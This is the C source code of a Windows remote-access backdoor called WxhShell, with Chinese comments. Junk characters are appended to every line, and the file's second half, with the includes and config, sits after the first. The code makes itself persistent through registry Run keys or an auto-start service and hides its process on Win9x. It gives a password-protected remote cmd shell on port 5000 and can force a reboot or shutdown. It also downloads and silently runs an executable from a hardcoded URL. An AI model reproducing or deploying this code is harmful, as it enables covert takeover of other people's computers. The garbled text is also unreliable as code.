    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?W%3>A  
    if(Boot(SHUTDOWN)) Wb/@~!+i`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p^\>{  
    else { H*;J9{  
    closesocket(wsh); *!'00fv  
    ExitThread(0); SS(jjpe&,  
    } 75I* &Wl  
    break; >3 qy'lm  
    } \ 1ys2BX  
  // 获取shell F#Z]Xq0r  
  case 's': { q2&&n6PYW  
    CmdShell(wsh); ~'v^__8  
    closesocket(wsh); r(J7&vR}h  
    ExitThread(0); ' G) Wy|*  
    break; QF!K$?EU[  
  } L$lo5  
  // 退出  2Np9*[C  
  case 'x': { LEHlfB#z`@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "R4~ 8r  
    CloseIt(wsh); 2Xe2 %{  
    break; d=N5cCqq  
    } u&2uQ-T0  
  // 离开 [C P V5\2  
  case 'q': { =xai 7iM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); khc5h^0  
    closesocket(wsh); jk) V[7P  
    WSACleanup(); mY dU`j  
    exit(1); G4=%<+  
    break; HPtaW:J  
        } h9g5W'.#  
  } 7-6_`Q2}Y  
  } E2!;W8M  
}^)M)8zS  
  // 提示信息 !\+SE"ml  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gHYYxhW$  
} B6OggJ9Iq  
  } O#cXvv]Z*  
tdZ:w  
  return; [4PG_k[uTJ  
} vnXpC!1  
XW5r@:e  
// shell模块句柄 PM o>J|^  
int CmdShell(SOCKET sock) X B65,l  
{ }SUe 4r&4}  
STARTUPINFO si; jpOi Eo  
ZeroMemory(&si,sizeof(si)); > *vI:MG8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (p^q3\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e,:@c3I  
PROCESS_INFORMATION ProcessInfo; {#Mz4s`M  
char cmdline[]="cmd"; kw}J~f2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dwB-WF%k  
  return 0; ,B!u*  
} GMB%A  
CQ#p2  
// 自身启动模式 7}TjOWC  
int StartFromService(void) EQu M|4$ix  
{ vTP'\^;  
typedef struct /$+ifiFT  
{ :+!hR4Z~\;  
  DWORD ExitStatus; CO 5?UgA  
  DWORD PebBaseAddress; 'DRyOJnr  
  DWORD AffinityMask; &ATjDbW*(  
  DWORD BasePriority; }g>&l.2X  
  ULONG UniqueProcessId; ]>*Z 1g;  
  ULONG InheritedFromUniqueProcessId; =GFlaGD  
}   PROCESS_BASIC_INFORMATION; |w:7).P  
]U'KYrh  
PROCNTQSIP NtQueryInformationProcess; DQKhR sC  
!mq+Oz~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7 tit>dJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HQv#\Xi1  
M6y:ze  
  HANDLE             hProcess; "d%":F(  
  PROCESS_BASIC_INFORMATION pbi; 9b()ck-\F#  
,v>P05  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =(.HO:#  
  if(NULL == hInst ) return 0; 2l8jw:=H  
M)Ogb '@#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0&c12W|B<L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0'VwObq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f u\M2"e  
/1o~x~g(b  
  if (!NtQueryInformationProcess) return 0; L[##w?Xf.  
M^k~w{   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +r4^oT[-  
  if(!hProcess) return 0; (MwB% g  
OG!^:OY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mhT3Fwc  
*jf (TIU  
  CloseHandle(hProcess); ~H)bvN^  
NqlG=pu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DkQy.  
if(hProcess==NULL) return 0; :|N5fkhN  
A4 o'EQ?~  
HMODULE hMod; 7lf* vqG  
char procName[255]; gnx!_H\h<  
unsigned long cbNeeded; vY }/CBmg  
uK3,V0 yz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =#n|t[h-  
A2* z  
  CloseHandle(hProcess); G#3 O^,m  
#pE : !D  
if(strstr(procName,"services")) return 1; // 以服务启动 U6n%rdXJ=  
vSPkm)O0)  
  return 0; // 注册表启动 umSbxEZU@  
} W@#)8];>  
krI<'m;a  
// 主模块  ~/ iE  
int StartWxhshell(LPSTR lpCmdLine) O62H4oT  
{ V. \do"m  
  SOCKET wsl; iHWl%]7sN  
BOOL val=TRUE; A$[@AY$MI  
  int port=0; F0+u#/#  
  struct sockaddr_in door; f{k2sU*uBE  
6\/C]![%  
  if(wscfg.ws_autoins) Install(); ZIkXy*<(  
|V%Qp5 XJ  
port=atoi(lpCmdLine); WPCaxA+l  
~.yt  
if(port<=0) port=wscfg.ws_port; 4^  $  
l;F3kA  
  WSADATA data; >/ W:*^g)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0rjxWPc  
7L? ~;;L$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {b= ]JPE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2c_#q1/Z/  
  door.sin_family = AF_INET; vX/~34o]\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?psvhB{O  
  door.sin_port = htons(port); UR:cBr  
SWPr5h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $iupzVrro  
closesocket(wsl); Jc(tV(z  
return 1; yG2j!D  
} Z &/b p1  
SA)}---"  
  if(listen(wsl,2) == INVALID_SOCKET) { #3\F<AJ<VB  
closesocket(wsl); \C~Y  
return 1; 50uNgLs  
} /i"L@t)\t  
  Wxhshell(wsl); YeptYW@xfw  
  WSACleanup(); _;L9&>!p6  
i|)<#Ywl  
return 0; 1^b-J0  
_Cj u C`7  
} AQQeLdTq  
s(r(! FZ  
// 以NT服务方式启动 ]fnc.^{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o!gl :izb  
{ =K- B I  
DWORD   status = 0; m9a(f>C  
  DWORD   specificError = 0xfffffff; Ca0~K42~  
ZlUd^6|:3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A"2k,{d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; OB>Pk_eQK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gj0gs  
  serviceStatus.dwWin32ExitCode     = 0; NYm2fFPc  
  serviceStatus.dwServiceSpecificExitCode = 0; q1.w8$  
  serviceStatus.dwCheckPoint       = 0; +F]X  
  serviceStatus.dwWaitHint       = 0; /P Qz$e-!Y  
(kK6=Mrf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^8ZVB.Fv  
  if (hServiceStatusHandle==0) return; J-au{eP^  
#t>w)`bA-  
status = GetLastError(); &C`t(e  
  if (status!=NO_ERROR) AQDT6E:  
{ wm=!tx\`k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =3_I;L w  
    serviceStatus.dwCheckPoint       = 0; ^Z$%OM,  
    serviceStatus.dwWaitHint       = 0; Y?{L:4cRX  
    serviceStatus.dwWin32ExitCode     = status; hdXdz aNS  
    serviceStatus.dwServiceSpecificExitCode = specificError; F)z]QJOw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?MHVkGD  
    return; `p|{(g'  
  } -WWa`,:  
R0B\| O0Uv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2E9Cp  
  serviceStatus.dwCheckPoint       = 0; #tRLvOR:  
  serviceStatus.dwWaitHint       = 0; t5\~Z}G8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <w}YD @(f  
} MRMsw NQ  
E=_M=5]  
// 处理NT服务事件,比如:启动、停止 Mm;kB/ 1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Jlj=FA`  
{ %oJ_,m_(  
switch(fdwControl) se:]F/  
{ /bjyV]N  
case SERVICE_CONTROL_STOP: NldeD2~H  
  serviceStatus.dwWin32ExitCode = 0; =6y4*f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WZOi,  
  serviceStatus.dwCheckPoint   = 0; p-POg%|&<  
  serviceStatus.dwWaitHint     = 0; LBh|4S$K  
  { rwWs\~.H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :aS8%m  
  } SzR7:U  
  return; |JC/A;ZH  
case SERVICE_CONTROL_PAUSE: w+)MrB-}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lfba   
  break; 6",S$3q  
case SERVICE_CONTROL_CONTINUE: f02 <u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K;a]+9C  
  break; *e&OpVn  
case SERVICE_CONTROL_INTERROGATE: &U^6N+l9  
  break; rvgArFf}]  
}; ] ?w hx &+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u[5*RTE  
} ?W:YS82  
-r)Q|U  
// 标准应用程序主函数 A>8"8=C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vq-Tq>  
{ ]:uJ&xUar  
`md)|PSU  
// 获取操作系统版本 r-&Rjg  
OsIsNt=GetOsVer(); DgQw`D)+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H`odQkZ!  
%C^U?m`  
  // 从命令行安装 :Q@=;P2  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZCsL%(  
FH:^<^M  
  // 下载执行文件 UIPi<_Xa  
if(wscfg.ws_downexe) { owM3Gz%?UA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) biLx-F c  
  WinExec(wscfg.ws_filenam,SW_HIDE); }SpjB  
} scZdDbL6+  
N/IDj2C4  
if(!OsIsNt) { XUTI0  
// 如果时win9x,隐藏进程并且设置为注册表启动 DC4O@"  
HideProc(); _+7 3Y'  
StartWxhshell(lpCmdLine); Y7g^ ?6  
} lf3QMr+  
else <Yif-9  
  if(StartFromService()) E_ #MQ;n  
  // 以服务方式启动 yE1M+x./  
  StartServiceCtrlDispatcher(DispatchTable); AJ1(q:P  
else 0~ !).f  
  // 普通方式启动 d~ n|F|`:  
  StartWxhshell(lpCmdLine); WsO'4~X9  
E:'TZ4Z  
return 0; /qM:;:N%j  
} N.R,[K  
?"-%>y@w  
ElLDSo@WvR  
-]HPDN,OB  
=========================================== j:ze5FA+  
s~(!m. R  
 ntK#7(U'  
0wL-Ak#v  
6^_:N1 @  
n3Uw6gLD  
" i8t%v  
2I DN?Mw  
#include <stdio.h> )%H@.;cD_r  
#include <string.h> k<xPg5  
#include <windows.h> [HNWM/ff7+  
#include <winsock2.h> =qG%h5]n  
#include <winsvc.h> cXP*?N4C f  
#include <urlmon.h> t6m&+N  
{6}H}_( ]  
#pragma comment (lib, "Ws2_32.lib") a ^wGc+  
#pragma comment (lib, "urlmon.lib") www#.D%'U  
^U1@ hq*u  
#define MAX_USER   100 // 最大客户端连接数 u~[=5r  
#define BUF_SOCK   200 // sock buffer O)v?GQRj  
#define KEY_BUFF   255 // 输入 buffer Lso4Z Z;  
i~1bfl   
#define REBOOT     0   // 重启 Fb8~2N"3  
#define SHUTDOWN   1   // 关机 wNQhz.>y  
sv}k_6XgY  
#define DEF_PORT   5000 // 监听端口 ?VUW.-  
2L?jp:$;X  
#define REG_LEN     16   // 注册表键长度 }_,1i3Rip  
#define SVC_LEN     80   // NT服务名长度 W%$sA}O  
%#7NCdk;S  
// 从dll定义API Z|l/6L8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J4Yu|E<&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fviq}.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ).IB{+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NmbA~i  
fSR+~Vy  
// wxhshell配置信息 x$p_mWC  
struct WSCFG { M`m-@z  
  int ws_port;         // 监听端口 DNYJR]>  
  char ws_passstr[REG_LEN]; // 口令 h zv4+1Wd[  
  int ws_autoins;       // 安装标记, 1=yes 0=no u Uy~$>V  
  char ws_regname[REG_LEN]; // 注册表键名 ,dyCuH!B  
  char ws_svcname[REG_LEN]; // 服务名   %4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {|:ro!&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @ ={Hx$zL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j_w"HiNBA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i6Zsn#Z7)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Tw`n3y?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $eqwn&$n  
v2ab  
}; QY)hMo=|o8  
R#8.]  
// default Wxhshell configuration `?M?WaP  
struct WSCFG wscfg={DEF_PORT, p1}m_  
    "xuhuanlingzhe", ]|6)'L&]*s  
    1, yv),>4_6  
    "Wxhshell", M9*#8>  
    "Wxhshell", q-tm `t*7  
            "WxhShell Service", Ng=_#<  
    "Wrsky Windows CmdShell Service", : _,oD  
    "Please Input Your Password: ", TAd~#jB9  
  1, <4{Jm8zJ  
  "http://www.wrsky.com/wxhshell.exe", uC2-T5n'  
  "Wxhshell.exe" 108cf~2&  
    }; Ej;BI#gx=  
Dej_(Dz_S  
// 消息定义模块 0<^!<i(%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ad%3 fvn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V1h&{D\"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6$.I>8n  
char *msg_ws_ext="\n\rExit."; (-e*xM m  
char *msg_ws_end="\n\rQuit."; SAQ|1I#"/  
char *msg_ws_boot="\n\rReboot...";  MjjN  
char *msg_ws_poff="\n\rShutdown..."; /);S?7u.  
char *msg_ws_down="\n\rSave to "; SO!|wag$  
KO!.VxG]_  
char *msg_ws_err="\n\rErr!"; R}T8cVxc  
char *msg_ws_ok="\n\rOK!"; y'{*B(  
8x,{rS qq  
char ExeFile[MAX_PATH]; _/\U  
int nUser = 0; cT&!_g#g  
HANDLE handles[MAX_USER]; :_0"t-  
int OsIsNt; Q)lN7oD  
BSyl!>G6n8  
SERVICE_STATUS       serviceStatus; 45 \W%8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; igGg[I1?  
1Uy'TEk  
// 函数声明 IGKtugU%  
int Install(void); D~^P}_e.  
int Uninstall(void); ,JU3 w  
int DownloadFile(char *sURL, SOCKET wsh); Q"(*SA+-|  
int Boot(int flag); QGq8r>  
void HideProc(void); O~udlVn<6  
int GetOsVer(void); LtK= nK  
int Wxhshell(SOCKET wsl); m ?)k&{I  
void TalkWithClient(void *cs); @,\J\ rb  
int CmdShell(SOCKET sock); ?D?l dg  
int StartFromService(void); (H[ .\O-`  
int StartWxhshell(LPSTR lpCmdLine); K5"8zF)*  
&;x*uG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kWZ@v+Mk3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;Yr?"|  
1*VArr6*6  
// 数据结构和表定义 2d60o~ E  
SERVICE_TABLE_ENTRY DispatchTable[] = e$t$,3~  
{ jl)7Jd  
{wscfg.ws_svcname, NTServiceMain}, =^5,ua6  
{NULL, NULL} {0Jpf[.f  
}; J? 4E Hl  
^T< HD  
// 自我安装 Ug P  
int Install(void) P/ XO5`  
{ k x?m "a%  
  char svExeFile[MAX_PATH]; fvNj5Vq:  
  HKEY key; #`5>XfbmQ(  
  strcpy(svExeFile,ExeFile); Z;"YUu[(  
7] }2`^9  
// 如果是win9x系统,修改注册表设为自启动 o"19{ D^.  
if(!OsIsNt) { :T9 P9<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `P4 3O gA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *u)#yEJ)  
  RegCloseKey(key); QNcbl8@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `z!6zo2d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !8@8  
  RegCloseKey(key); g)**)mz[  
  return 0; ={k_ (8]  
    } ,bRYqU?#0  
  } VLP'3 qX  
} ;4s7\9o  
else { ny'wS  
VEG p!~D  
// 如果是NT以上系统,安装为系统服务 }Nc Ed;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?`+G0VT  
if (schSCManager!=0) 9cJ1J7y  
{ t wr-+rm2  
  SC_HANDLE schService = CreateService $*S&i(z  
  ( b.#0{*/G  
  schSCManager, mJYG k_ua  
  wscfg.ws_svcname, ~R*01AnZ  
  wscfg.ws_svcdisp, \T:*tgU  
  SERVICE_ALL_ACCESS, &0k`=?v$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yLY$1#Sa  
  SERVICE_AUTO_START, Gl]z@ZXWIw  
  SERVICE_ERROR_NORMAL, T$&vk#qr  
  svExeFile, xhw0YDGzf  
  NULL, 9 .3?$(  
  NULL, HU47 S  
  NULL, ?Hrj}K27  
  NULL, =}OcMM`f  
  NULL h{/lW#[  
  ); {9;x\($&a  
  if (schService!=0) l\"wdS}  
  { }c@duf-l  
  CloseServiceHandle(schService); bqcwZ6r<  
  CloseServiceHandle(schSCManager); h~-cnAMt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $X ]t}=  
  strcat(svExeFile,wscfg.ws_svcname); 0 ~^l*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Qk?J4 B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +8Q5[lh2]j  
  RegCloseKey(key); 5}|bDJ$%_  
  return 0; iVZ X  
    } w%uM=YmuT  
  } CSVL,(Uw  
  CloseServiceHandle(schSCManager); |h%0)_  
} bS&XlgnKi  
} 6|B;C  
=`/GB T$  
return 1; qE@H~&  
} a?]~Sw"@  
1{$=N 2U  
// 自我卸载 ~aL&,0  
int Uninstall(void) wfq}NK;  
{ 0fAo&B  
  HKEY key; ;9)A+bD]  
z:W|GDD1  
if(!OsIsNt) { HbMD5(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x#jJ 0T  
  RegDeleteValue(key,wscfg.ws_regname); Z,:}H6Mj9  
  RegCloseKey(key); %~EOq\&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dz,4);Mg  
  RegDeleteValue(key,wscfg.ws_regname); 5.U4P<qS  
  RegCloseKey(key); ~zc B@; :  
  return 0;  E-L>.tD  
  } p.RSH$]  
} oA`G\Xh_E  
} +x)x&;B)/  
else { 'da$i  
GN=-dLN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .s`7n *xz  
if (schSCManager!=0)  G4{TJ,~  
{ k56*eEc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y8Z-m (OQ  
  if (schService!=0) F ,h}HlU  
  { f,:2\b?.  
  if(DeleteService(schService)!=0) { 41 #YtZ  
  CloseServiceHandle(schService); my*E7[  
  CloseServiceHandle(schSCManager); %+ur41HM  
  return 0; Q|tzA10E  
  } ku^0bq}BrH  
  CloseServiceHandle(schService); Hr!%L*h?  
  } NzC&ctPk  
  CloseServiceHandle(schSCManager); drd5o Z  
} =0mXTY1  
} 4ad-'  
^#&PTq>  
return 1; ea6`%,lF~  
} -MuKeCgi  
#(1R:z\:  
// 从指定url下载文件 f1X]zk(=W  
int DownloadFile(char *sURL, SOCKET wsh) wOrpp3I  
{ %40+si3c  
  HRESULT hr; )!g@MHHL  
char seps[]= "/"; 0s%]%2O N  
char *token; ;`rz]7,*  
char *file; wY_! s Qo  
char myURL[MAX_PATH]; 3 , nr*R!  
char myFILE[MAX_PATH]; uV\~2#o$_  
cBDOA<]r,  
strcpy(myURL,sURL); i$dF0.}Q  
  token=strtok(myURL,seps); ^/"2s}+  
  while(token!=NULL) Rkh ^|_<!  
  { 7U`8W\-  
    file=token; _0!<iN L  
  token=strtok(NULL,seps); -A)/CFIZ  
  } M =6  
%nT&  
GetCurrentDirectory(MAX_PATH,myFILE); z:p9&mi  
strcat(myFILE, "\\"); R\:t 73  
strcat(myFILE, file); t2#zQ[~X!  
  send(wsh,myFILE,strlen(myFILE),0); 3?-2~s3gp  
send(wsh,"...",3,0); 8npjQ;%4>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5gH'CzU?  
  if(hr==S_OK) m"tke'a  
return 0; L0>w|LpRc  
else nWsR;~pK  
return 1; Vho^a:Z9}W  
^9 {r2d&c  
} ZY-mUg  
V(<(k,8=  
// 系统电源模块 .tt=\R  
int Boot(int flag) Su/}OS\R  
{ THHA~;00YN  
  HANDLE hToken; w$FN(BfA  
  TOKEN_PRIVILEGES tkp; >&l{_b\k  
K])| V  
  if(OsIsNt) { X2to](\% X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -`d(>ok  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zR_yxs'  
    tkp.PrivilegeCount = 1; O`FuXB(t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AW/)R"+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "7_qB8\  
if(flag==REBOOT) { %a$Fsn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'QxPQ cU  
  return 0; 5HMDug;   
} H`Ld,E2ex&  
else { 8b:\@]g$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5 @61=Au  
  return 0; 2~q(?wY  
} =%R|@lz_x  
  } V9<CeTl'  
  else { WDQw)EUl&  
if(flag==REBOOT) { v m)'C C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q<!Kt I4  
  return 0; 6jo+i[h  
} S[L2vM)  
else { "RMvWuNt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IX y  $  
  return 0; aIABx!83>  
} uq_h8JH$  
} E!v^j=h$u  
}doJ= lc  
return 1; M}W};~V2ng  
} TLiA>`r=  
J t,7S4JL  
// win9x进程隐藏模块 ; #^Jy#)  
void HideProc(void) >5}jM5$  
{ b=j]tb,  
x8wal[6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RXU#.=xvy  
  if ( hKernel != NULL ) 8/* 6&#-  
  { M/^kita  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1O]27"9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O`W&`B(*k  
    FreeLibrary(hKernel); kVu-,OU  
  } |`yzH$,F  
{|Pz9a- :  
return; Q8 r 7  
} jboQ)NxT!,  
xr\wOQ*`  
// 获取操作系统版本 `nDgwp:b"  
int GetOsVer(void)  zOnQ656  
{ Ug|o ($CY  
  OSVERSIONINFO winfo; C5jR||  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DG $._  
  GetVersionEx(&winfo); d^<a)>5h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,Cckp! 6  
  return 1; wf8GH}2A  
  else -O=a"G=  
  return 0; (iZE}qf7 g  
} X@ Gm:6  
I=3e@aTZ,  
// 客户端句柄模块 uY;2tZldf=  
int Wxhshell(SOCKET wsl) {%;KkC8=R  
{ jW-j+ WGSM  
  SOCKET wsh;  _,2P4  
  struct sockaddr_in client; \4.U.pKY  
  DWORD myID; Eb<iR)e H=  
y`EcBf  
  while(nUser<MAX_USER) $*{$90 Q  
{ ]d@@E_s]  
  int nSize=sizeof(client); ~4~-^ t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Sr`gQ#b@r}  
  if(wsh==INVALID_SOCKET) return 1; ;=.QT  
_ .%\czO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); * QF3l0&  
if(handles[nUser]==0) <k^P>Irb3t  
  closesocket(wsh); $MmCh&V  
else .qioEqK8!y  
  nUser++; ReCmv/AE  
  } @:~O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f*g>~!  
t?0D*!D  
  return 0; '`Smg3T!~S  
} {t$ vsR  
Lw]:/x  
// 关闭 socket ~nk'ZJ   
void CloseIt(SOCKET wsh) nuB@Fkr  
{ F` ifHO  
closesocket(wsh); o 2 5kFD  
nUser--; x hFQjV?V  
ExitThread(0); *My?l75  
} 3d.JV'C'c  
C'hI{4@P  
// 客户端请求句柄 L30x2\C  
void TalkWithClient(void *cs) 0O>8DX  
{ V X<ZB +R  
w49Wl>M  
  SOCKET wsh=(SOCKET)cs; b\ %=mN  
  char pwd[SVC_LEN]; OH28H),}  
  char cmd[KEY_BUFF]; 7"r7F#D=G  
char chr[1]; -P5VE0  
int i,j; S #X$QD  
2oAPJUPOJ  
  while (nUser < MAX_USER) { daaEN(  
QY2!.a^q  
if(wscfg.ws_passstr) { <=V2~ asB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KLXv?4!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l{4=La{?j  
  //ZeroMemory(pwd,KEY_BUFF); ^)b*"o  
      i=0; !+.|T9P  
  while(i<SVC_LEN) { )Xa`LG =|  
/c`)Er 6d  
  // 设置超时 Y]b5qguK  
  fd_set FdRead; j8@YoD5o  
  struct timeval TimeOut; uKqN  
  FD_ZERO(&FdRead); B:tST(  
  FD_SET(wsh,&FdRead); I C9:&C[  
  TimeOut.tv_sec=8; B7TA:K  
  TimeOut.tv_usec=0; 2C %{A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f{lg{gA(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LS?hb)7  
`"M=ZVk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A==P?,RG  
  pwd=chr[0]; >#R<*?*D}  
  if(chr[0]==0xd || chr[0]==0xa) { qqSk*oH~  
  pwd=0; T IPb ]  
  break; uG3t%CmN  
  } A0M)*9 f  
  i++; xkOyj`IS  
    } Nora<  
zp4Jd"XBX  
  // 如果是非法用户,关闭 socket {t[j>_MYw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?N#mD  
} @4h .?  
IBU(Hm1,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m4ovppC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'oHtg @  
 KEsMes(*  
while(1) { zb~!> QIz{  
s_K:h  
  ZeroMemory(cmd,KEY_BUFF); [e ;K$  
SMgf(N3]  
      // 自动支持客户端 telnet标准   >i]r,j8!  
  j=0; !:`QX\Ux  
  while(j<KEY_BUFF) { B{QY-F~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E/LR(d_  
  cmd[j]=chr[0]; 1bd(JL  
  if(chr[0]==0xa || chr[0]==0xd) { ro6peUL*2`  
  cmd[j]=0; uKh),@JV  
  break; ]BCH9%zLj  
  } gOO\` #  
  j++; .0#?u1gXsX  
    } B4GgR,P@S  
~tDV{ml  
  // 下载文件 hti)<#f  
  if(strstr(cmd,"http://")) { "VkraB.i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $t-HJ<!  
  if(DownloadFile(cmd,wsh)) .BlGV2@^#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T\b e(@r  
  else tp_*U,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]gkI:scPA  
  } zXvAW7  
  else { >mT2g  
>!wX% QHH  
